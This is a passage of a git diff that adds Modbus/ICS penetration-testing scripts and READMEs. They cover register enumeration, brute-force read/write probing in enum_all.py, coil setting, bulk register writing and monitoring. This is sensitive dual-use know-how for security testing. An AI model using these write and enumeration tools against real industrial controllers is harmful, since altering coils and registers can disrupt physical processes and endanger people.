modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible 